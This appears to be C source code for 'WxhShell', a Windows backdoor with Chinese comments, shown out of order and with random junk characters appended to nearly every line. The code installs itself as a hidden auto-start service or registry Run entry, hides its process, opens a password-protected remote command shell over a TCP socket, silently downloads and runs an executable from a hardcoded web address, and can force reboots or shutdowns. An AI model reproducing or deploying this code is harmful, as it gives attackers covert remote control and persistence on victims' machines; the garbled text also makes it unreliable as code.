    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V6iL5&  
    if(Boot(SHUTDOWN)) Hr;h4J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]/]ju$l9Z  
    else { h?@G$%2  
    closesocket(wsh); .uZ7 -l  
    ExitThread(0); eN0P9.eqM  
    } q5 &Ci`  
    break; L^9HH)Jc  
    } Ru%|}sfd  
  // 获取shell /<)-q-W;  
  case 's': { vTr34n  
    CmdShell(wsh); upn8n vy4(  
    closesocket(wsh); 1uG=`k8'k  
    ExitThread(0); O]u",J5  
    break; #,f{Ok+  
  } 6DS43AQs  
  // 退出 ka7uK][  
  case 'x': { kv|,b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ayp b  
    CloseIt(wsh); f %fa{  
    break; u,i]a#K  
    } ryD%i"g<  
  // 离开 3VCqp13  
  case 'q': { ,j;PRJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OS7R Qw1  
    closesocket(wsh); \&|CM8A  
    WSACleanup(); cFfTYP9  
    exit(1); w[fDk1H)  
    break; Vb6K:ZnF  
        } ;"7/@&M\m  
  } y,C!9l  
  } 4KIWb~0Y  
Y^lQX~I2{  
  // 提示信息 X BI;Lg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  b;vNq  
} }Jxq'B  
  } ~ l )t|'6  
r%MyR8'k]  
  return; p]f&mBO*  
} jn=ug42d  
J%P)%yX  
// shell模块句柄 gA +:CgQ  
int CmdShell(SOCKET sock) i.@*t IK  
{ K+ehr  
STARTUPINFO si; z-Hkz  
ZeroMemory(&si,sizeof(si)); pcpxe&S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _"f<Ol[!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,VG9)K 1K  
PROCESS_INFORMATION ProcessInfo; S:97B\ u`  
char cmdline[]="cmd"; wixD\t59X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }u^:MI  
  return 0; 9".Uc8^p/F  
} ~= 9V v  
&q>h *w4O  
// 自身启动模式 7+8bL{  
int StartFromService(void)  HD|sr{Z%  
{ vahf]2jEB  
typedef struct mVrKz  
{ |>JmS  
  DWORD ExitStatus; KZ\dB;W< |  
  DWORD PebBaseAddress; ![Hhxu  
  DWORD AffinityMask; N[ Q#R~Hn<  
  DWORD BasePriority; o[{&!t  
  ULONG UniqueProcessId; rgT%XhUS6f  
  ULONG InheritedFromUniqueProcessId; AO8:|?3S  
}   PROCESS_BASIC_INFORMATION; :~r#LRgc  
;qG1r@o  
PROCNTQSIP NtQueryInformationProcess; >0M:&NMda  
pP oxVvG{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WhenwQT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bXm :]?  
_DrnL}9I7  
  HANDLE             hProcess; FLEg0/m0  
  PROCESS_BASIC_INFORMATION pbi; $l43>e{E  
-g$O OJB6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :7k`R6 2{  
  if(NULL == hInst ) return 0; ZU^Q1}</5  
y8D 8Y8B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  3:"AFV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lqq*Nr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FBbm4NB  
(A|B@a!Y>  
  if (!NtQueryInformationProcess) return 0; mR6E]TuM  
/o'oF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &LwJ'h +nd  
  if(!hProcess) return 0; n<+~ zQ  
Hq79/ wKj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kU>#1 He  
"1\(ZKG8^Q  
  CloseHandle(hProcess); 0rGj|@+;  
AwA1&mh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u`nt\OF  
if(hProcess==NULL) return 0; i{4'cdr?  
$kM '  
HMODULE hMod; 1.uUMW  
char procName[255]; <&*#famX  
unsigned long cbNeeded; HI7]%<L  
ho(5r5SNE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "@aq@mY@  
|:\$n}K  
  CloseHandle(hProcess); _ Eszr(zJ  
k`{RXx  
if(strstr(procName,"services")) return 1; // 以服务启动 fc["  
Ixyvn#ux )  
  return 0; // 注册表启动 ;sm"\.jF  
} xNocGtS  
Q|6Ls$'$  
// 主模块 PjiNu.>2(  
int StartWxhshell(LPSTR lpCmdLine) J~M H_N  
{ <=#lRZW[z  
  SOCKET wsl; 1y_fQ+\2A  
BOOL val=TRUE; z +y;y&P  
  int port=0; L?AM&w-cg9  
  struct sockaddr_in door; m+;B!4 6  
[u,hc/PL  
  if(wscfg.ws_autoins) Install(); />2A<{6\=P  
Tz+HIUIxF  
port=atoi(lpCmdLine); -G(3Y2  
ey'pm\Z  
if(port<=0) port=wscfg.ws_port; }wa}hIqx  
r\4*\  
  WSADATA data; -lJx%9>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 61ON  
7F>gj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vLi/'|7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6R$ F =MB  
  door.sin_family = AF_INET; lQ=&jkw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [=]+lei  
  door.sin_port = htons(port); UE}8Rkt  
X|lElN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jsZiARTZRl  
closesocket(wsl); Q#yu(  
return 1; U.zRIhA ]  
} ,(;p(#F>  
E|F!S(.:,M  
  if(listen(wsl,2) == INVALID_SOCKET) { kxr6sO~  
closesocket(wsl); !_^ {udB}  
return 1; '0])7jq  
} kb>Vw<NtE  
  Wxhshell(wsl); Y1yvI  
  WSACleanup(); 1{\,5U&  
RJ=c[nb  
return 0; gr[ "A  
d @^o/w8  
} X d19GP!  
Sug~FV?k$e  
// 以NT服务方式启动 Q)%8NVs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U l7pxzj  
{ Gct&}]3pm  
DWORD   status = 0; l7D4`i<F  
  DWORD   specificError = 0xfffffff; W=;(t  
R5'Z4.~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k #,Gfs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oC@"^>4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yv8dfl  
  serviceStatus.dwWin32ExitCode     = 0; "x=@ ,*Bk  
  serviceStatus.dwServiceSpecificExitCode = 0; npG+# z  
  serviceStatus.dwCheckPoint       = 0; ]'1N_m]?  
  serviceStatus.dwWaitHint       = 0; 69<rsp(p  
'^.=gTk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :(S/$^U  
  if (hServiceStatusHandle==0) return; $Kw"5cm  
k?|zIu  
status = GetLastError(); KH@) +Rj  
  if (status!=NO_ERROR) 1=o(sIeA  
{ 4?*"7t3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q*<J $PI  
    serviceStatus.dwCheckPoint       = 0; *~t$k56  
    serviceStatus.dwWaitHint       = 0; ;2xXX,'R7  
    serviceStatus.dwWin32ExitCode     = status; %unK8z  
    serviceStatus.dwServiceSpecificExitCode = specificError; t+4%,n f_1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ''\cBM!  
    return; ;hfG$ {l;  
  } 1vR#FE?  
h.s<0.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |qudJucV  
  serviceStatus.dwCheckPoint       = 0; v_1JH<GJ-  
  serviceStatus.dwWaitHint       = 0; R2H\;N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xUYN\Pc-  
} 9OJ\n|,(  
~]_jKe4W  
// 处理NT服务事件,比如:启动、停止 m(7_ZiL=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1r-,V X7  
{ tB(X`A.|  
switch(fdwControl) I +4qu|0lA  
{ ?H7p6m u  
case SERVICE_CONTROL_STOP:  k9VQ6A  
  serviceStatus.dwWin32ExitCode = 0; uwS'*5tU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B=RKi\K6a  
  serviceStatus.dwCheckPoint   = 0; 0\ytBxL  
  serviceStatus.dwWaitHint     = 0; $gD(MKR)~  
  { 8KdcLN@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NYV0<z@M2M  
  } ]I*#R9  
  return; 7_'k`J@_  
case SERVICE_CONTROL_PAUSE: }-]s#^'w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LM`tNZ1Fc!  
  break; \?mU$,v oI  
case SERVICE_CONTROL_CONTINUE: O [ ;6E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qP.VK?jF|  
  break; zZ"')+7q&%  
case SERVICE_CONTROL_INTERROGATE: 1MzB?[gx  
  break; M+&eh*:z:  
}; nh.v?|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ne~#{q  
} ^~k FC/tQ  
58gt*yVu  
// 标准应用程序主函数 <HX-qNA?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w\Eve:  
{ sAAIyPJts  
21J82M  
// 获取操作系统版本 )UU6\2^  
OsIsNt=GetOsVer(); `fE:5y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E]Gq!fA&<  
rO >wX_  
  // 从命令行安装 $G([#N<  
  if(strpbrk(lpCmdLine,"iI")) Install(); VQJ5$4a&  
v?'k)B  
  // 下载执行文件  k`zK  
if(wscfg.ws_downexe) { HOI`F3#XI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w9?wy#YI  
  WinExec(wscfg.ws_filenam,SW_HIDE); k5\ zGsol  
} FQ&VM6_  
)uJ`E8>-  
if(!OsIsNt) { ]V7hl#VO  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xpz-@fqKdf  
HideProc(); AyXKhj#Ml  
StartWxhshell(lpCmdLine); vb2O4%7tw  
} $f-pLF+x  
else uPD_s[  
  if(StartFromService()) k5<0M'  
  // 以服务方式启动 2MrR|hLx  
  StartServiceCtrlDispatcher(DispatchTable); ^g"6p#S=n  
else  ]@ 0V  
  // 普通方式启动 6h"? 3w  
  StartWxhshell(lpCmdLine); dKG<"  
6q7Y`%j  
return 0; !: [` V!{  
} m#(x D~V  
+n]Knfi  
R5~m"bE  
U}5KAi 9Z  
=========================================== ;L{y3CWT  
dTNgrW`4  
sMo%Ayes  
T3 /LUm  
.j,&/y&  
jF0BWPL  
" 'Pn`V{a  
6H9]]Unju  
#include <stdio.h> @ uWD>(D  
#include <string.h> QpZhxp  
#include <windows.h> 5rhdm?Ls0  
#include <winsock2.h> cE#Y,-f  
#include <winsvc.h> CF4y$aC#  
#include <urlmon.h> G]4+ Qr?  
(6aZQ`H  
#pragma comment (lib, "Ws2_32.lib") j|w+=A1  
#pragma comment (lib, "urlmon.lib") L32ki}2  
Gj0NN:  
#define MAX_USER   100 // 最大客户端连接数 YLr2j 7  
#define BUF_SOCK   200 // sock buffer an$h~}/6:  
#define KEY_BUFF   255 // 输入 buffer Q?q m~wD  
"d\8OOU  
#define REBOOT     0   // 重启 =ye}IpC*M  
#define SHUTDOWN   1   // 关机 \/G Y0s  
p5hP}Z4r  
#define DEF_PORT   5000 // 监听端口 _E 8SX v  
[J#(k`@  
#define REG_LEN     16   // 注册表键长度 yLX\pkAt4  
#define SVC_LEN     80   // NT服务名长度 C$; ~=  
n40Z  
// 从dll定义API *l} 0x@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ; U4X U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4]R3*F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =+WFx3/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L i^V?  
z@j&vW  
// wxhshell配置信息 .j.=|5nVo4  
struct WSCFG { $P~a   
  int ws_port;         // 监听端口 u,q#-d0g;  
  char ws_passstr[REG_LEN]; // 口令 03y<'n  
  int ws_autoins;       // 安装标记, 1=yes 0=no wOP}SMn  
  char ws_regname[REG_LEN]; // 注册表键名 ~+hG}7(:  
  char ws_svcname[REG_LEN]; // 服务名 .BvV[`P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3@J wL{C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M`FL&Ac  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MJoC*8QxM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zrM|8Cu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Zuf&maa S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !k) ?H* ^@  
BVDo5^&W  
}; }^t?v*kcA  
jw)t"S/E  
// default Wxhshell configuration t!LvV.g+  
struct WSCFG wscfg={DEF_PORT, Vow+,,oh  
    "xuhuanlingzhe", o/#e y  
    1, [o6d]i!  
    "Wxhshell", |{(ynZ]R  
    "Wxhshell", \uH;ng|m  
            "WxhShell Service", lK0coj1+  
    "Wrsky Windows CmdShell Service", *(J<~:V?  
    "Please Input Your Password: ", cD]t%`*  
  1, W=drp>Uj  
  "http://www.wrsky.com/wxhshell.exe", +9t@eHJT1  
  "Wxhshell.exe" ESAh(A)8  
    }; 8in8_/x  
|dO1w.x/  
// 消息定义模块 q :gH`5N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y|",.~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BTB,a$P/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ugz1R+f_4{  
char *msg_ws_ext="\n\rExit."; ouuj d~b+  
char *msg_ws_end="\n\rQuit.";  ^(y4]yZ  
char *msg_ws_boot="\n\rReboot..."; h4U .wk  
char *msg_ws_poff="\n\rShutdown..."; zPn8>J<.0Q  
char *msg_ws_down="\n\rSave to "; };|'8'5  
^(%>U!<<%,  
char *msg_ws_err="\n\rErr!"; Ty>`r n  
char *msg_ws_ok="\n\rOK!"; C M(g4fh  
`#~@f!';  
char ExeFile[MAX_PATH]; (5SI! 1N  
int nUser = 0; |e!Sm{#!  
HANDLE handles[MAX_USER]; mY-r:  
int OsIsNt; jd#{66:  
iC 2:P~  
SERVICE_STATUS       serviceStatus; +IMP<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f?)qZPM  
& )Z JT.S  
// 函数声明 Fik*7!XQ8  
int Install(void); o9JJ_-O"  
int Uninstall(void); Upf1*$p  
int DownloadFile(char *sURL, SOCKET wsh); *}FoeDe  
int Boot(int flag); p[cC%3  
void HideProc(void); Da.vyp  
int GetOsVer(void); :iq1-Pw  
int Wxhshell(SOCKET wsl); UJO+7h'  
void TalkWithClient(void *cs); V XC_Y  
int CmdShell(SOCKET sock); zdtzR<X   
int StartFromService(void); Hc}(+wQN%  
int StartWxhshell(LPSTR lpCmdLine); o4d>c{p  
? ;\YiOTda  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?=aQG0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VEJ Tw  
5<9}{X+@o  
// 数据结构和表定义 J-=&B5"O>  
SERVICE_TABLE_ENTRY DispatchTable[] = 6ZX{K1_q  
{ 4W6gKY  
{wscfg.ws_svcname, NTServiceMain}, l]GLkE  
{NULL, NULL} Tk)y*y  
}; yYF%U7N/n  
~|riFp=J  
// 自我安装 iielAj*b  
int Install(void) =ayl~"bW  
{ ZfoI7<?33  
  char svExeFile[MAX_PATH]; ``U>9S"p)  
  HKEY key; rcAx3AK.  
  strcpy(svExeFile,ExeFile); Ak&eGd$d  
t '* L,  
// 如果是win9x系统,修改注册表设为自启动 tK1P7pbC8r  
if(!OsIsNt) { Ea 0 j}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { </Ja@%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <$R'y6U :  
  RegCloseKey(key); =56O-l7T*w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \K55|3~R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OUQySac  
  RegCloseKey(key); B/AS|i] sM  
  return 0; p{NVJ^! +  
    } V-IXtQR  
  } AfB,`l`k  
} 9n%vz@X  
else { OjFB_ N  
W:' H&`0  
// 如果是NT以上系统,安装为系统服务 Bz!SZpW(M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZuH@qq\  
if (schSCManager!=0) ) 7w%\i{M  
{ oP!oU2eqK  
  SC_HANDLE schService = CreateService 2Jm#3zFYz3  
  ( \  2#7B8  
  schSCManager, ,=jwQG4wq  
  wscfg.ws_svcname, !59u z4  
  wscfg.ws_svcdisp, "V'<dn  
  SERVICE_ALL_ACCESS, #? u#=]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , clyZD`*  
  SERVICE_AUTO_START, Tmjcc(  
  SERVICE_ERROR_NORMAL, =^3 Z L  
  svExeFile, L.X"wIs^  
  NULL, }6b" JoC  
  NULL, UXgeL2`;  
  NULL, %0&59q]LM  
  NULL, |q!O~<H@  
  NULL F}MjZZj(U=  
  ); K-<<s  
  if (schService!=0) 1K\z amBg  
  { jJbS{1z  
  CloseServiceHandle(schService); JP{Y Q:NF  
  CloseServiceHandle(schSCManager); "d"6.ND  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <!;NJLe`  
  strcat(svExeFile,wscfg.ws_svcname); efN5(9*9R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cfSQqH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vLI'Z)\  
  RegCloseKey(key); rUn1*KWbE  
  return 0; &+|bAn9AJ  
    } d RIuA)0s  
  } N.'-9hv  
  CloseServiceHandle(schSCManager); >v#6SDg  
} jEMnre3/  
} s'B$/qCkR  
gk hmQd  
return 1; /`s{!t#Y  
} <P@ "VwUX  
<5O:jd  
// 自我卸载 jI/#NCKE  
int Uninstall(void) 1$_|h@  
{ # KUN ZW  
  HKEY key; Q3<ctd\]Y  
_J&IL!S2  
if(!OsIsNt) { Sc14F Fs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ v2-}jU(  
  RegDeleteValue(key,wscfg.ws_regname); `g vd 8^  
  RegCloseKey(key); C23Gp3_0/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U+G8Hs/y  
  RegDeleteValue(key,wscfg.ws_regname); kF-7OX0)  
  RegCloseKey(key); K?@x'q1  
  return 0; D4jZh+_|S  
  } eWOZC(I*z  
} \=c@  
} T s9go  
else { 8}aSSL]  
}6To(*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ("s!t?!&YS  
if (schSCManager!=0) 8a;;MJ)  
{ ~,m5dP#[bV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KBI36=UV  
  if (schService!=0) ;"2(e7ir  
  { yRWZ/,9x   
  if(DeleteService(schService)!=0) { (V>/[Ev  
  CloseServiceHandle(schService); i4<n#]1!t  
  CloseServiceHandle(schSCManager); vhrURY.  
  return 0; {!*dk V  
  } , }B{)  
  CloseServiceHandle(schService); H,(4a2zx  
  } g$U7bCHG  
  CloseServiceHandle(schSCManager); 5Z_aN|Xn  
} s+9b.  
} w|U 7pUz  
MZt&HbD-  
return 1; QV8;c^EZ  
} ~>u u1[ /  
/Z2 g >  
// 从指定url下载文件 3uuB/8  
int DownloadFile(char *sURL, SOCKET wsh) \tfhF#'  
{  z:d+RMA  
  HRESULT hr; =c#;c+a  
char seps[]= "/"; P G*FIRDb  
char *token; to#T+d.(v  
char *file; b`^mpB*6R  
char myURL[MAX_PATH]; {^@qfkZz^  
char myFILE[MAX_PATH]; J%P{/nR  
lj %k/u  
strcpy(myURL,sURL); $+n5l@W  
  token=strtok(myURL,seps); yb-/_{Y  
  while(token!=NULL) (!koz'f  
  { :Oc&{z?q  
    file=token; GD<pqm`vVY  
  token=strtok(NULL,seps); tVHQ$jJY%  
  } QD^"cPC)mM  
JT*Pm"}  
GetCurrentDirectory(MAX_PATH,myFILE); |dqvv  
strcat(myFILE, "\\"); HE*P0Y f=  
strcat(myFILE, file); [KsVI.gn  
  send(wsh,myFILE,strlen(myFILE),0); A5YS "i  
send(wsh,"...",3,0); ?sbM=oo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l`vr({A  
  if(hr==S_OK) C<hb{$@  
return 0; l]mn4cn3  
else `bEum3l\6]  
return 1; 3L%g2`  
N0&#fXO  
} \?NT,t=3J  
q^+Z>   
// 系统电源模块 ;/ao3Q   
int Boot(int flag) FUKE.Uxd  
{ )4bZ;'B5  
  HANDLE hToken; g# <M/qn  
  TOKEN_PRIVILEGES tkp; ?p!+s96  
}NETiJ"6  
  if(OsIsNt) { D(gpF85t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C 6wlRvWn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \ /6m  
    tkp.PrivilegeCount = 1; +hd1|qa4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f>C|qDmT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |cq%eN  
if(flag==REBOOT) { pd X"M>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fY9/u=  
  return 0; {>=#7e-]  
} POvpaPAZ<  
else { 5zsXqBG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7Om)uUjU4  
  return 0; z/t:gc.  
} 'BwM{c-O"  
  } G.c@4Wz+  
  else { r&-I r3[  
if(flag==REBOOT) { +qEvz<kch  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?W"9G0hTqM  
  return 0; U[8Cg  
} IRQ3>4hI  
else { O[fgn;@|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v]HiG_C  
  return 0; _;+N=/l0  
} 4c=oAL  
} 3fJwj}wL  
@Q atgYu  
return 1; _"`U.!3*  
} ^ok;<fJ  
d/OIc){tD  
// win9x进程隐藏模块 hrRX=  
void HideProc(void) mckrR$>  
{ &p$SFH?s  
Az2$\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -W+67@(\8H  
  if ( hKernel != NULL ) Z qg(\  
  { M_4g%uHG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q(KLx)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VQvl,'z  
    FreeLibrary(hKernel); *<!W k\  
  } TPds)osZT  
f.=4p^  
return; <z|? C  
} l%A~3  
?fEX&t,'  
// 获取操作系统版本 (K+TqJw  
int GetOsVer(void) m!:7ur:Y  
{ _rqOzE)  
  OSVERSIONINFO winfo; >M^ 1m(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y=\jQ6Fc  
  GetVersionEx(&winfo); MOG[cp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @:xO5L}Io  
  return 1; ?8(`tS(_?  
  else Y(SgfWeK@1  
  return 0; W &4`eB/4}  
}  #~.i\|VL  
*ma/_rjK  
// 客户端句柄模块 *ftJ(  
int Wxhshell(SOCKET wsl) bYdC.AE  
{ FV$= l %  
  SOCKET wsh; $YSD%/c  
  struct sockaddr_in client; &bj :,$@  
  DWORD myID; ),\>'{~5&  
@WEem(@  
  while(nUser<MAX_USER) ;.W0Aa  
{ G"TPu _g  
  int nSize=sizeof(client); J5Fg]O*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^l^_K)tw*  
  if(wsh==INVALID_SOCKET) return 1; _T5~B"*  
W'XMC"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vo`wYJ3W  
if(handles[nUser]==0) XU9=@y+|v  
  closesocket(wsh);  R/^JyL  
else R~ w(]  
  nUser++; Sc6wC H  
  } L''0`a. +S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F`I-G~e  
+H&_Z38n  
  return 0; Xe+&/J5b  
} -'PpY302  
DAu|`pyC%  
// 关闭 socket N0vd>b  
void CloseIt(SOCKET wsh) N^ D/}n  
{ uaPBM<  
closesocket(wsh); 0"2 [I  
nUser--; jm-0]ugY&`  
ExitThread(0); WQ5sC[&   
} OaCL'!  
Q5,@ P?  
// 客户端请求句柄 z)VIbEy  
void TalkWithClient(void *cs) 3(5RUI-  
{ " DlC vjc  
9uS7G*  
  SOCKET wsh=(SOCKET)cs; 6ZG)`u".("  
  char pwd[SVC_LEN]; _yWH\5@  
  char cmd[KEY_BUFF]; #>v7" <  
char chr[1]; 7lVIN&.=  
int i,j; D} .t  
{-Y_8@&  
  while (nUser < MAX_USER) { 9>i6oF]Oq  
40#KcbMa|  
if(wscfg.ws_passstr) { @Qs-A^.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G wW#Ww;Oc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D+SpSO7yg  
  //ZeroMemory(pwd,KEY_BUFF); @l(Y6m|v\  
      i=0; Y;&#Ur8q  
  while(i<SVC_LEN) { R&4E7wrdP  
*[SsvlFt  
  // 设置超时 R82Y&s;  
  fd_set FdRead; Agi1r]W  
  struct timeval TimeOut; vfv5ex(  
  FD_ZERO(&FdRead); NdNfai  
  FD_SET(wsh,&FdRead); llleo8  
  TimeOut.tv_sec=8; c}QJ-I   
  TimeOut.tv_usec=0; NZTYT\7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UeICn@)\y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vLS9V/o  
e6R "W9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $0*47+f  
  pwd=chr[0]; Lq[wabF  
  if(chr[0]==0xd || chr[0]==0xa) { WsV3>=@f  
  pwd=0; P\ s+2/  
  break; ,\M_q">npc  
  } 6J 5)4^bk  
  i++; @ RI^wZ-;  
    } 7[H`;l  
SNU bY6  
  // 如果是非法用户,关闭 socket ->hxHr`!%a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U9 59=e  
} 1hviT&  
spx;QLo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BP[U` !  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0X?fDz}jd  
.O#lab`:2  
while(1) { z= p  
Tqa4~|6  
  ZeroMemory(cmd,KEY_BUFF); kVrT?  
nTU~M~gky  
      // 自动支持客户端 telnet标准   DjIswI1I  
  j=0; W[>TqT63  
  while(j<KEY_BUFF) { zsXH{atY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [U(&Ae0V>  
  cmd[j]=chr[0]; `Y\/US70{c  
  if(chr[0]==0xa || chr[0]==0xd) { &&]!+fTZ\(  
  cmd[j]=0; 'Xl>,\'6  
  break; ^R7zLHU;  
  } k6-n.Rl01  
  j++; (bt]GAxb1  
    } Cj1UD;  
S.)7u6/_!  
  // 下载文件 d95N$n   
  if(strstr(cmd,"http://")) { 5SL>q`t.bd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +@u C:3jM  
  if(DownloadFile(cmd,wsh)) 3t8H?B12ow  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !;*2*WuO;  
  else JGDUCb~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C)96/k  
  } /Tf*d>Yh;  
  else { mjl!Nth:<  
[9U srpYi  
